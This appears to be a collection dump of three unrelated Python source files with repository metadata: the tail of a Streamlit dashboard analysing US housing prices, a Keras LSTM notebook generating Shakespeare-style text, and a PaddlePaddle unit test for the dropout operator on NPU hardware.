Reserve.\\nHistorically, United States - Mortgage Debt Service Payments as a Percent of Disposable Personal Income reached a record high of 7.18 in October of 2007 and a record low of 3.51 in January of 2021. \n    By the end of 2021, a record level of household debt was reached. Mortgage being the biggest contributor to it being 68.5% at 10.44 Trillion Dollars. Student debt was the second highest contributor with 21.1% at 1.58 Trillion Dollars.\n\n    ''')\n\n##############################\n\nst.header('New Single Family Unit Permits \ud83d\udccb')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\n\\nSingle-family housing starts were pridicted to total 1 million in 2020, the highest since 2007. However, \nThere were only approximately 978,000 building permits for single-family housing units granted in the United States in 2020, which is \nan increase of around 116,000 on the previous year. Units have steadily increased since 2011, but the numbers remain considerably \nlower than the 1.68 million authorized by building permits in 2005.\n\\nThat was about 3 years prior to the housing market meltdown that spurred a global financial rout. \n\\nThe rising cost of land, labor, building materials, and regulations, are some of the reasons why we can see significantly more blue (people who may need homes) in the graph below, than orange (total homes built) since 2008. You can also see that few of the new homes built were \u201cstarter homes\u201d focused on first-time buyers.\n''')\n\ndf = pd.read_csv('./data/cleaned/permit.csv')\ndf.rename(columns = {'PERMIT1':'No. of permits issued in thousands'}, inplace = True)\ndf.rename(columns = {'HSN1F':'No. of one family homes sold in thousands'}, inplace = True)\nfig = px.line(df, x='DATE', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\ncol1,col2 = st.columns((1,1))\nimg = Image.open('new_perms.png')\nwith col1:\n    st.image(img)\n\nwith col2:\n    st.write('''\n    \\n Even though the new homes built by 2020 were the fastest rate since 2007, Single-family home construction is running at the slowest pace since 1995.\n    \\nThe U.S. is short 5.24 million homes, an increase of 1.4 million from the 2019 gap of 3.84 million.\n    \\nSingle-family home construction has suffered from a severe labor shortage that began well before the pandemic but was then exacerbated by it. Supply chain disruptions in the past year have pushed prices for building materials higher, and as pandemic-induced demand soared, prices for land increased as well. While new household formation is actually slower than it was before the pandemic, homebuilders would have to double their recent new home production pace to close the gap in five to six years. A new household can be either owner-occupied or rented.\n    ''')\n\n################################\n\n\nst.header('Existing Home Sales')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\nThe steady rise in sales after the sharp drop in 2008 is indicative of the general consensus that the housing market is recovering. Construction is showing positive signs, consumers are growing in confidence and are becoming freer with their spending and the market is entering new periods of growth. \n\\n\nThis is a far cry from the dire situation in the not too distant past, in the run up to the bursting of the U.S. housing bubble. Interest rates were very low at that time, making credit cheap and abundantly available. Banks and lending institutions led people to believe that it was okay to buy multiple properties with little money and that real estate was just about the safest investment anyone could make. More and more people decided to take the risk and invest in the market. This coupled with the increased number of people descending on the market caused prices to soar; it seemed like an easy way to make cash fast. But this is how the bubble formed and it was this bubble, upon bursting, that would set into motion a chain of events that would bring the global economy to its knees; plunging the world into an economic depression of which it has not seen the likes since the Great Depression of the 1930s.\n''')\n\ndf = pd.read_csv('./data/cleaned/existinghomessold.csv')\nfig = px.line(df, x='Year', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\ncol1,col2 = st.columns((2,1))\n\nlabels = ['Exisiting Homes Sold','New Homes Sold']\nvalues = [5640000, 822000]\n\nfig = go.Figure(data=[go.Pie(labels=labels, values=values, textinfo='label+percent',\n                             insidetextorientation='radial'\n                            )])\ncol1.plotly_chart(fig)\n\nwith col2:\n    st.write('''\n    **U.S. existing home sales 2005-2023**\n    \\nIn 2021, the U.S. home sales in the United States surged, reaching the highest value observed since 2006. A total of 6.1 million housing transactions were completed in that year, up from 5.6 million in 2020. According to the forecast, sales activity is expected to slow down slightly in 2022 and increase again in 2023. \n    ''')\n\n\n##################################\n\nst.header('Foreclosures \ud83c\udfe6')\ncolm1,colm2 = st.columns((3,4))\ncolm1.write('''\nDespite a deep recession, the U.S. housing market in 2020 set a record for the fewest foreclosures ever.\n\nJust 214,323 properties were in some stage of foreclosure last year, well below the previous low set in 2019, according to ATTOM Data Solutions. Properties with foreclosure filings in 2020 represented a scant 0.16 percent of all U.S. homes, down from a foreclosure rate of 0.36 percent in 2019. The record high was 2.23 percent, in 2010.\n\nIn a separate study released Friday, mortgage data firm Black Knight said foreclosure starts plunged by 67 percent from 2019, while foreclosure sales dropped by 70 percent compared to the previous year.\n\nHowever, the data isn\u2019t all rosy. Fully 2.15 million American homeowners were 90 days past due on their mortgages, a number that rose by 1.7 million during the year of the coronavirus pandemic, Black Knight said.\n\nForeclosures fell not because all was well economically, but because lenders essentially stopped taking back properties in 2020. After the coronavirus pandemic struck in March, federal and state officials hit the pause button on default filings by lenders. And the CARES Act called for mortgage forbearance plans designed to keep struggling workers in their homes.\n''')\n\ndf = pd.read_csv('./data/cleaned/foreclosures.csv')\nfig = px.line(df, x='Year', y=df.columns)\nfig.update_xaxes(\n    rangeslider_visible=True,\n    rangeselector=dict(\n        buttons=list([\n            dict(count=6, label=\"6m\", step=\"month\", stepmode=\"backward\"),\n            dict(count=1, label=\"YTD\", step=\"year\", stepmode=\"todate\"),\n            dict(count=1, label=\"1y\", step=\"year\", stepmode=\"backward\"),\n            dict(step=\"all\")\n        ])\n    )\n)\ncolm2.plotly_chart(fig)\n##\ncol1, col2 = st.columns((2,1))\n\nimg = Image.open('subprime_mort.png')\nwith col1:\n    st.image(img)\n\ncol2.write('''\n    \\n The mortgage delinquency rate is the share of the total number of mortgaged home loans in the U.S. where payment is overdue by 30 days or more. Many borrowers are eventually able to service their loan though, with foreclosure rates being generally 50-75 percent lower than delinquency rates. Total home mortgage debt in the U.S. stood at 10.94 trillion U.S. dollars in 2020. \n    \\n \u2018Subprime\u2019 loans, being targeted at high-risk borrowers and generally coupled with higher interest rates to compensate for the risk, have far higher delinquency rates than conventional loans. Defaulting on such loans was one of the triggers for the 2007-2010 financial crisis, with subprime delinquency rates reaching almost 26 percent around this time. These higher delinquency rates translate into higher foreclosure rates, which peaked at just under 15 percent of all subprime mortgages in 2011.\n    ''')\nst.write(\"In the second quarter of 2020, under the effects of the coronavirus crisis, the mortgage delinquency rate in the United States spiked at 8.22 percent, just one percent down from its peak of 9.3 percent during the subprime mortgage crisis of 2007-2010. Following the drastic increase directly after the outbreak of the pandemic, delinquency rates started gradually declining and reached 4.65 percent as of the fourth quarter of 2021. \")\n\n##############################\nst.header('Determining the most influencial factor')\nst.write('''\nTo Determine the most influencial factor of all the forementioned factors, \nall the data for the factors were resampled to a similar time intervals and combined into a single dataframe:\n''')\ndf = pd.read_csv('finalcombined.csv')\nst.dataframe(df)\n\nst.write('Here CUSUSHPISA is the S&P CoreLogic Case-Shiller U.S. National Home Price NSA Index')\n\ndesc = df.describe()\nst.dataframe(desc)\n\n\n\ncorr = df.corr()\ncorr_inf = pd.DataFrame(corr.CSUSHPISA)\n\nst.header(\"Correlation Analysis\")\ncol1,col2 = st.columns((1,1))\ncol1.write('''\n\n''')\ncol1.dataframe(corr_inf,  height=700)\n\n# Generate a mask for the upper triangle\nmask = np.triu(np.ones_like(corr, dtype=bool))\n\n# Set up the matplotlib figure\nf, ax = plt.subplots(figsize=(11, 9))\n\n# Generate a custom diverging colormap\ncmap = sns.diverging_palette(230, 20, as_cmap=True)\n\n# Draw the heatmap with the mask and correct aspect ratio\nfig = plt.subplots()\n\nsns.heatmap(corr, mask=mask, cmap=cmap, vmax=.3, center=0,\n            square=True, linewidths=.5, cbar_kws={\"shrink\": .5})\nplt.savefig('corr_dia1.png')\nimg = Image.open('corr_dia1.png')\ncol2.image(img)\n\ncol11,col12 = st.columns((2,1))\ncorr_inf_new = corr_inf.head(10)\nfig = px.bar(corr_inf_new)\ncol11.plotly_chart(fig)\ncol12.title(\"_\")\ncol12.write('''\nThis analysis shows how the factors are correlated with the index and amongst themselves. Higher the bars in the graph \n(in magnitude) on the left, the more correlated the factors are with the index. \n\\n For all the plots above the 0 value, there is a positive correlation and vice-versa.\n''')\n\ncol1, col2 = st.columns((2,1))\ncol1.write('''\nThe absolute values indicate the level of correlation and the sign shows the relation, i.e either positive or negative correlation.\n\\n The most correlated factors(in order) are:\n''')\ndata = abs(corr_inf_new)\nsorted_data = data.sort_values(by=['CSUSHPISA'], ascending=False)\nsorted_data_new = corr_inf_new.sort_values(by=['CSUSHPISA'], ascending=False)\ncol2.dataframe(sorted_data, height=700)\ntop_5 = sorted_data.head(5)\n\nst.header(\"Explanatory Regression Analysis\")\n\nst.write('''\nNext, a multiple regression analysis was performed on the cleaned and combined data. Given in the case, in which we would like to predict the prices\nof the index, a multiple regression model would have been created and only the factor(s) influencing it the most would be chosen. Here, only the analysis \nis performed in order to examine whether:\\n 1) Is it better to take all the factors into consideration?\n\\n2) Is it better to take only the top 5 highest correlated data into consideration? \n\\n 3) Is it better to just take one factor into consideration?\n\\n Each of the cases is examined and the output is explained below.\n''')\n##\ncol1,col2 = st.columns((1,1))\n\ncol1.write('''\nCase 1) Building a multiple regression model taking all the factors into consideration:\n''')\n\ncol1.dataframe(corr_inf_new, height=700)\n\nimg_mlr_2 = Image.open('MLR_1.png')\ncol2.image(img_mlr_2)\n##\ncol1.write('''\nCase 2) The asbolute values of the correlation table have been sorted and the 5 factors with the highest correlation are represented in the table\nbelow. When these factors(only) are taken into consideration:\n''')\n\n\ncol1.dataframe(top_5)\n\nimg_mlr_2 = Image.open('MLR_5.png')\ncol2.image(img_mlr_2)\n##\ncol1.write('''\nCase 3) Only the most correlated factor i.e. the population was taken into consideration:\n''')\n\ndata = abs(corr_inf_new)\nsorted_data = data.sort_values(by=['CSUSHPISA'], ascending=False)\ntop_1 = sorted_data.head(1)\ncol1.dataframe(top_1)\n\nimg_mlr_2 = Image.open('MLR_O.png')\ncol2.image(img_mlr_2)\n\n\n##\nst.header(\"Conclusion\")\nst.write('''\nIt is known that for a regression model the R-Squared value always increases and never decres incase the number of variables are increased.\nTo make up for this, the Adjusted R-Squared penalises the R-Squared based on the number of variables. A very low Adjusted R-Square may indicate that some\nof the variables are not contributing. And as we take more variables the R-Squared value rises, which is represented in the above cases. \nHowever, in the case 1, the Adjusted R-Squared value is very low, indicating that there is no variable that is not contributing at all. \n\\n The probablistic F-Static value for case 3 is lesser than that of case 1, indicating that the most correlated field, \"Population\", \ndoes have great influence on the index. This also allows us to conclude, that the results of the correlation analysis are true and are proven here.\nThus, we can say that the most import factors in order influencing the *S&P CoreLogic Case-Shiller U.S. National Home Price NSA Index* are the most \ncorrelated factors. And that Multiple regression analysis is only useful in quantifying relationships in factors when there is a need to do predective\nmodelling and not singling out one most important variable out of multiple variables.\n''')\n\n##############################\nst.header('Biblography \ud83d\udcda')\nhtml_string = '''<html>\n    <head>\n        <title> Biblography </title>\n    </head>\n    <body>\n        <table style=\"border-width: 1;\">\n            <th style=\"background-color:lightgray;\"> Refernces</th>\n            <tr>\n                <td>\n                    <a href=\"http://fred.stlouisfed.org\">fred.stlouisfed.org</a>\n                </td>\n            </tr>\n            <tr>\n                <td>\n                    <a href=\"https://www.statista.com\">statista.com</a>\n                </td>\n            </tr>\n            <tr>\n                <td>\n                    <a href=\"www.opendoor.com\">opendoor.com</a>\n                </td>\n            </tr>\n            <tr>\n                <td>\n                    <a href=\"http://nar.realtor\">nar.realtor</a>\n                </td>\n            </tr>     \n            <tr>\n                <td>\n                    <a href=\"https://tradingeconomics.com/\">tradingeconomics.com</a>\n                </td>\n            </tr>  \n            <tr>\n                <td>\n                    <a href=\"https://data.worldbank.org\">data.worldbank.org</a>\n                </td>\n            </tr>\n            <tr>\n                <td>\n                    <a href=\"https://www.cnbc.com\">cnbc.com</a>\n                </td>\n            </tr>         \n        </table>\n    </body>\n</html>'''\nst.markdown(html_string, unsafe_allow_html=True)\n", "meta": {"hexsha": "2361fb36fbd9669f228a8c221a685026886fd935", "size": 30835, "ext": "py", "lang": "Python", "max_stars_repo_path": "main.py", "max_stars_repo_name": "rishitsaraf/ushousing-datasciencemodel", "max_stars_repo_head_hexsha": "9ab566e327825ba700fd1d1f5ae64c57cb1b246d", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main.py", "max_issues_repo_name": "rishitsaraf/ushousing-datasciencemodel", "max_issues_repo_head_hexsha": "9ab566e327825ba700fd1d1f5ae64c57cb1b246d", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main.py", "max_forks_repo_name": "rishitsaraf/ushousing-datasciencemodel", "max_forks_repo_head_hexsha": "9ab566e327825ba700fd1d1f5ae64c57cb1b246d", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 48.7124802528, "max_line_length": 915, "alphanum_fraction": 0.7089346522, "include": true, "reason": "import numpy", "num_tokens": 7569, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.47657965106367595, "lm_q2_score": 0.10818895168662, "lm_q1q2_score": 0.05156065284375426}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Text Generation using LSTMs\n\n# ## 1. Import the libraries\n\n# In[ ]:\n\n\n# keras module for building LSTM \nfrom keras.preprocessing.sequence import pad_sequences\nfrom keras.layers import Embedding, LSTM, Dense, Dropout\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.models import Sequential\nimport keras.utils as ku \n\n# set seeds for reproducability\nfrom tensorflow import set_random_seed\nfrom numpy.random import seed\nset_random_seed(2)\nseed(1)\n\nimport pandas as pd\nimport numpy as np\nimport string, os \n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\nwarnings.simplefilter(action='ignore', category=FutureWarning)\n\n\n# ## 2. Load the dataset\n\n# In[ ]:\n\n\ncurr_dir = \"../../../input/kingburrito666_shakespeare-plays/\"\nplay_df = pd.read_csv(curr_dir + \"Shakespeare_data.csv\")\n\nall_lines = [h for h in play_df.PlayerLine]\n\nprint(len(all_lines))\n\n\n# ## 3. Dataset preparation\n\n# First, we will clean the data.\n\n# In[ ]:\n\n\ndef clean_text(txt):\n    txt = \"\".join(v for v in txt if v not in string.punctuation).lower()\n    txt = txt.encode(\"utf8\").decode(\"ascii\",'ignore')\n    return txt \n\ncorpus = [clean_text(x) for x in all_lines]\ncorpus[:10]\n\n\n# Next we will generate sequence of N-gram tokens using Keras' Tokenizer.\n\n# In[ ]:\n\n\ntokenizer = Tokenizer()\n\ndef get_sequence_of_tokens(corpus):\n    ## tokenization\n    corpus = corpus[:7000]\n    tokenizer.fit_on_texts(corpus)\n    total_words = len(tokenizer.word_index) + 1\n    \n    ## convert data to sequence of tokens \n    input_sequences = []\n    for line in corpus:\n        token_list = tokenizer.texts_to_sequences([line])[0]\n        for i in range(1, len(token_list)):\n            n_gram_sequence = token_list[:i+1]\n            input_sequences.append(n_gram_sequence)\n    return input_sequences, total_words\n\ninp_sequences, total_words = get_sequence_of_tokens(corpus)\ninp_sequences[:10]\n\n\n# Next we will generate padded sequences.\n\n# In[ ]:\n\n\ndef generate_padded_sequences(input_sequences):\n    max_sequence_len = max([len(x) for x in input_sequences])\n    input_sequences = np.array(pad_sequences(input_sequences, maxlen=max_sequence_len, padding='pre'))\n    \n    predictors, label = input_sequences[:,:-1],input_sequences[:,-1]\n    label = ku.to_categorical(label, num_classes=total_words)\n    return predictors, label, max_sequence_len\n\npredictors, label, max_sequence_len = generate_padded_sequences(inp_sequences)\npredictors.shape, label.shape\n\n\n# ## 4. Using LSTM for text generation\n\n# In[ ]:\n\n\ndef create_model(max_sequence_len, total_words):\n    input_len = max_sequence_len - 1\n    model = Sequential()\n    \n    # Add Input Embedding Layer\n    model.add(Embedding(total_words, 10, input_length=input_len))\n    \n    # Add Hidden Layer 1 - LSTM Layer\n    model.add(LSTM(512))\n    model.add(Dropout(0.4))\n    \n    # Add Output Layer\n    model.add(Dense(total_words, activation='softmax'))\n\n    model.compile(loss='categorical_crossentropy', optimizer='adam')\n    \n    return model\n\nmodel = create_model(max_sequence_len, total_words)\nmodel.summary()\n\n\n# In[ ]:\n\n\nmodel.fit(predictors, label, epochs=2, verbose=1)\n\n\n# In[ ]:\n\n\nmodel.fit(predictors, label, epochs=20, verbose=2)\n\n\n# In[ ]:\n\n\nmodel.fit(predictors, label, epochs=20, verbose=0)\n\n\n# ## 5. Generating the text\n\n# In[ ]:\n\n\ndef generate_text(seed_text, next_words, model, max_sequence_len):\n    for _ in range(next_words):\n        token_list = tokenizer.texts_to_sequences([seed_text])[0]\n        token_list = pad_sequences([token_list], maxlen=max_sequence_len-1, padding='pre')\n        predicted = model.predict_classes(token_list, verbose=0)\n        \n        output_word = \"\"\n        for word,index in tokenizer.word_index.items():\n            if index == predicted:\n                output_word = word\n                break\n        seed_text += \" \"+output_word\n    return seed_text.title()\n\n\n# In[ ]:\n\n\nprint (\"1. \",generate_text(\"Julius\", 20, model, max_sequence_len))\nprint (\"2. \",generate_text(\"Thou\", 20, model, max_sequence_len))\nprint (\"3. \",generate_text(\"King is\", 20, model, max_sequence_len))\nprint (\"4. \",generate_text(\"Death of\", 20, model, max_sequence_len))\nprint (\"5. \",generate_text(\"The Princess\", 20, model, max_sequence_len))\nprint (\"6. \",generate_text(\"Thanos\", 20, model, max_sequence_len))\n\n\n# In[ ]:\n\n\n\n\n", "meta": {"hexsha": "a519d7c5cfef72a3796ccc58e70bffcc7fe440e1", "size": 4346, "ext": "py", "lang": "Python", "max_stars_repo_path": "relancer-exp/original_notebooks/kingburrito666_shakespeare-plays/text-generation-using-shakespeare-plays.py", "max_stars_repo_name": "Chenguang-Zhu/relancer", "max_stars_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T22:27:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T22:27:49.000Z", "max_issues_repo_path": "relancer-exp/original_notebooks/kingburrito666_shakespeare-plays/text-generation-using-shakespeare-plays.py", "max_issues_repo_name": "Chenguang-Zhu/relancer", "max_issues_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "relancer-exp/original_notebooks/kingburrito666_shakespeare-plays/text-generation-using-shakespeare-plays.py", "max_forks_repo_name": "Chenguang-Zhu/relancer", "max_forks_repo_head_hexsha": "bf1a175b77b7da4cff12fbc5de17dd55246d264d", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 23.2406417112, "max_line_length": 102, "alphanum_fraction": 0.7006442706, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1064, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.42632159254749036, "lm_q2_score": 0.12085324357297283, "lm_q1q2_score": 0.05152234726455953}}
{"text": "#  Copyright (c) 2021 PaddlePaddle Authors. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n#    http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom __future__ import print_function\n\nimport numpy as np\nimport unittest\nimport sys\n\nsys.path.append(\"..\")\nfrom op_test import OpTest, skip_check_grad_ci\nimport paddle\nimport paddle.fluid as fluid\n\npaddle.enable_static()\n\nSEED = 2021\nEPOCH = 100\n\n\nclass TestDropoutOp(OpTest):\n\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((32, 64)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 0.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64)).astype('uint8')\n        }\n\n    def init_dtype(self):\n        self.dtype = np.float32\n\n    def set_npu(self):\n        self.__class__.use_npu = True\n        self.place = paddle.NPUPlace(0)\n\n    def test_check_output(self):\n        self.check_output_with_place(self.place)\n\n    def test_check_grad_normal(self):\n        self.check_grad_with_place(self.place, ['X'], 'Out')\n\n\nclass TestDropoutOpInput1d(TestDropoutOp):\n    # change input shape\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((3, 62)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 0.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((3, 62)).astype('uint8')\n        }\n\n\nclass TestDropoutOpInput1d_1(TestDropoutOp):\n    # the input is 1-D\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((2000)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 0.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((2000)).astype('uint8')\n        }\n\n\nclass TestDropoutOp2(TestDropoutOp):\n    # the dropout_prob is 1.0\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((32, 64)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 1.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': np.zeros((32, 64)).astype('float32'),\n            'Mask': np.zeros((32, 64)).astype('uint8')\n        }\n\n\nclass TestDropoutOp3(TestDropoutOp):\n    # the input dim is 3\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((32, 64, 2)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 0.0,\n            'fix_seed': True,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64, 2)).astype('uint8')\n        }\n\n\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestDropoutOpInference(OpTest):\n    # is_test = True\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((32, 64)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 0.35,\n            'fix_seed': True,\n            'is_test': True,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {'Out': self.inputs['X']}\n\n    def init_dtype(self):\n        self.dtype = np.float32\n\n    def set_npu(self):\n        self.__class__.use_npu = True\n        self.place = paddle.NPUPlace(0)\n\n    def test_check_output(self):\n        self.check_output_with_place(self.place)\n\n\n@skip_check_grad_ci(reason=\"For inference, check_grad is not required.\")\nclass TestDropoutOpInference2(TestDropoutOpInference):\n\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {'X': np.random.random((32, 64, 3)).astype(self.dtype)}\n        self.attrs = {\n            'dropout_prob': 0.75,\n            'is_test': True,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {'Out': self.inputs['X']}\n\n\nclass TestDropoutOpWithSeed(TestDropoutOp):\n    # the seed is a Tensor\n    def setUp(self):\n        self.op_type = \"dropout\"\n        self.set_npu()\n        self.init_dtype()\n        self.inputs = {\n            \"X\": np.random.random((32, 64)).astype(self.dtype),\n            \"Seed\": np.asarray([125], dtype=\"int32\")\n        }\n        self.attrs = {\n            'dropout_prob': 0.0,\n            'is_test': False,\n            'dropout_implementation': 'upscale_in_train'\n        }\n        self.outputs = {\n            'Out': self.inputs['X'],\n            'Mask': np.ones((32, 64)).astype('uint8')\n        }\n\n\nclass TestDropoutOpFp16(TestDropoutOp):\n    # float16\n    def init_dtype(self):\n        self.dtype = np.float16\n\n    def set_npu(self):\n        self.__class__.use_npu = True\n        self.__class__.no_need_check_grad = True\n        self.place = paddle.NPUPlace(0)\n\n\nclass TestDropoutAPI(unittest.TestCase):\n\n    def setUp(self):\n        np.random.seed(123)\n        self.places = [fluid.CPUPlace(), paddle.NPUPlace(0)]\n\n    def check_static_result(self, place):\n        with fluid.program_guard(fluid.Program(), fluid.Program()):\n            input = fluid.data(name=\"input\", shape=[40, 40], dtype=\"float32\")\n            res1 = paddle.nn.functional.dropout(x=input,\n                                                p=0.,\n                                                training=False,\n                                                mode='upscale_in_train')\n            res2 = paddle.nn.functional.dropout(x=input,\n                                                p=0.,\n                                                axis=0,\n                                                training=True,\n                                                mode='upscale_in_train')\n            res3 = paddle.nn.functional.dropout(x=input,\n                                                p=0.,\n                                                axis=0,\n                                                training=False,\n                                                mode='upscale_in_train')\n            res4 = paddle.nn.functional.dropout(x=input,\n                                                p=0.,\n                                                axis=[0, 1],\n                                                training=True,\n                                                mode='upscale_in_train')\n            res5 = paddle.nn.functional.dropout(x=input,\n                                                p=0.,\n                                                axis=[0, 1],\n                                                training=False,\n                                                mode='upscale_in_train')\n            res6 = paddle.nn.functional.dropout(x=input,\n                                                p=1.,\n                                                training=True,\n                                                mode='upscale_in_train')\n            res7 = paddle.fluid.layers.dropout(\n                x=input,\n                dropout_prob=0.,\n                dropout_implementation='upscale_in_train')\n            res8 = paddle.nn.functional.dropout(x=input,\n                                                p=0.,\n                                                axis=(0, 1),\n                                                training=False,\n                                                mode='upscale_in_train')\n\n            in_np = np.random.random([40, 40]).astype(\"float32\")\n            res_np = in_np\n            res_np2 = np.zeros_like(in_np)\n\n            exe = fluid.Executor(place)\n            res_list = [res1, res2, res3, res4, res5, res7, res8]\n            for res in res_list:\n                fetches = exe.run(fluid.default_main_program(),\n                                  feed={\"input\": in_np},\n                                  fetch_list=[res])\n                self.assertTrue(np.allclose(fetches[0], res_np))\n            fetches2 = exe.run(fluid.default_main_program(),\n                               feed={\"input\": in_np},\n                               fetch_list=[res6])\n            self.assertTrue(np.allclose(fetches2[0], res_np2))\n\n    def test_static(self):\n        for place in self.places:\n            self.check_static_result(place=place)\n\n\nif __name__ == '__main__':\n    unittest.main()\n", "meta": {"hexsha": "bca1d631c8e5506248e241a245f50a2fc5d213e8", "size": 9575, "ext": "py", "lang": "Python", "max_stars_repo_path": "python/paddle/fluid/tests/unittests/npu/test_dropout_op_npu.py", "max_stars_repo_name": "L-Net-1992/Paddle", "max_stars_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 11, "max_stars_repo_stars_event_min_datetime": "2016-08-29T07:43:26.000Z", "max_stars_repo_stars_event_max_datetime": "2016-08-29T07:51:24.000Z", "max_issues_repo_path": "python/paddle/fluid/tests/unittests/npu/test_dropout_op_npu.py", "max_issues_repo_name": "L-Net-1992/Paddle", "max_issues_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "python/paddle/fluid/tests/unittests/npu/test_dropout_op_npu.py", "max_forks_repo_name": "L-Net-1992/Paddle", "max_forks_repo_head_hexsha": "4d0ca02ba56760b456f3d4b42a538555b9b6c307", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-09-24T11:23:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-24T11:23:36.000Z", "avg_line_length": 33.5964912281, "max_line_length": 77, "alphanum_fraction": 0.5041253264, "include": true, "reason": "import numpy", "num_tokens": 2064, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4263215779698935, "lm_q2_score": 0.12085323565689977, "lm_q1q2_score": 0.05152234212801691}}
